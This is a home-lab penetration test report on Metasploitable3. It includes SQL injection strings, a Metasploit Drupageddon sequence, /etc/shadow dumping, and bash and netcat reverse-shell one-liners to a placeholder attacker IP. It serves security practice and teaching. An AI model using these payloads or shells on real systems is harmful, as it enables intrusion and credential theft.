Metasploitable3 — Penetration Test Report

Author: Arlen Fortunato
Date: September 2026
Environment: Parrot OS (attacker) → Metasploitable3 Ubuntu 14.04 (target)
Scope: Full network penetration test — enumeration, exploitation, privesc, post-exploitation
Type: Home Lab / Capture The Flag Practice

⚠️ All credentials below are redacted. This was a legal, isolated home-lab exercise.

Tools Used

Reconnaissance — Nmap Full Port Scan

nmap -O -sV -p- -oA metasploitable3 <TARGET_IP>

OS: Linux Ubuntu 14.04, Kernel 3.13.0-24-generic x86_64

Findings Summary

Finding Details

1. UnrealIRCd 3.2.8.1 (CVE-2010-2075) — False Positive

Vulnerability: UnrealIRCd 3.2.8.1 was historically distributed with a trojaned binary that executes arbitrary commands when an unauthenticated client sends a trigger string before registration — RCE as the IRC daemon user.

Exploitation attempt: Metasploit module exploit/unix/irc/unreal_ircd_3281_backdoor with payloads cmd/unix/reverse_perl, cmd/unix/reverse_netcat, cmd/unix/reverse_bash. Module auto-check reported the service as vulnerable; no session returned on any payload.

Troubleshooting performed:

• Port reachable (nc -vz)
• Port confirmed plaintext IRC, not TLS (openssl s_client)
• Manual reverse connect-back from target confirmed outbound networking works
• Manual backdoor trigger over nc returned IRC protocol error 451 — command parsed as IRC command, never executed

Conclusion: Version banner indicates the vulnerable build, but the backdoor is absent in this instance (clean/recompiled binary). Classified non-exploitable — false positive, with evidence.

2. Drupal 7.5 — Drupageddon (CVE-2014-3704)

Vulnerability: Drupal 7.x before 7.32 contains a critical SQL injection in the database abstraction layer enabling unauthenticated remote code execution.

Version confirmation: CHANGELOG.txt → "Drupal 7.5, 2011-07-27"

Exploitation:

msfconsole
use exploit/multi/http/drupal_drupageddon
set RHOSTS <TARGET_IP>
set TARGETURI /drupal/
set LHOST <ATTACKER_IP>
set payload php/meterpreter_reverse_tcp
run

Result:

getuid  → www-data
sysinfo → Linux ubuntu 3.13.0-24-generic x86_64
pwd     → /var/www/html/drupal

Post-exploitation enumeration:

• /var/www/html: chat/, drupal/, payroll_app.php, phpmyadmin/
• /home: 16 user accounts

3. Payroll App — UNION-Based SQL Injection (Manual)

Vulnerability: payroll_app.php login form, SQL injection in password field. No automation used — crafted via curl.

Step 1 — Authentication bypass:

' or 1=1#

' closes the SQL string, or 1=1 forces true, # comments out the trailing quote.

Step 2 — Column count + display mapping:

' UNION SELECT null, null, null, null#     -- no error = 4 columns
' UNION SELECT 1, 2, 3, 4#                 -- markers: 1=Username, 2=First, 3=Last, 4=Salary

Step 3 — information_schema enumeration:

Step 4 — Dump (passwords redacted):

' UNION SELECT username, password, salary, null FROM users#

4. SSH — Default Credentials & Credential Reuse

Path 1 — Default account: default vagrant credential pair authenticated over SSH → user in sudo group with (ALL : ALL) NOPASSWD: ALL.

Path 2 — Credential reuse: credentials harvested from the SQLi dump authenticated directly over SSH as another lab user (luke_skywalker, sudo group, (ALL : ALL) ALL).

Significance: demonstrates cross-service credential reuse — application credentials mapped to a system account.

5. Privilege Escalation (Two Paths)

• Path A: vagrant → sudo -l shows NOPASSWD: ALL → sudo su - → uid=0(root).
• Path B: luke_skywalker → sudo (ALL : ALL) ALL → sudo su - → uid=0(root).

No local exploit required — both accounts hold overly permissive sudo grants.

6. Shadow Dump

sudo cat /etc/shadow

Extracted 16 md5crypt ($1$) hashes — full credential harvesting post-privesc.

7. Post-Exploitation — Reverse Shells

Payload 1 — bash:

bash -i >& /dev/tcp/<ATTACKER_IP>/4444 0>&1

Caught on nc -lnvp 4444 → interactive shell.

Payload 2 — netcat (named-pipe):

mkfifo /tmp/fifo; nc <ATTACKER_IP> 4445 0</tmp/fifo | /bin/sh >/tmp/fifo 2>&1; rm /tmp/fifo

Caught on nc -lnvp 4445 → interactive shell.

Mechanism: named pipe (FIFO) bridges netcat stdin/stdout to /bin/sh, forming a single-socket bidirectional tunnel; FIFO cleaned up afterward.

Remediation Recommendations

Disclaimer

All testing was performed exclusively in an isolated home lab using intentionally vulnerable software (Rapid7 Metasploitable3). No production systems or unauthorized targets were engaged. This report is for educational purposes and personal skill development only.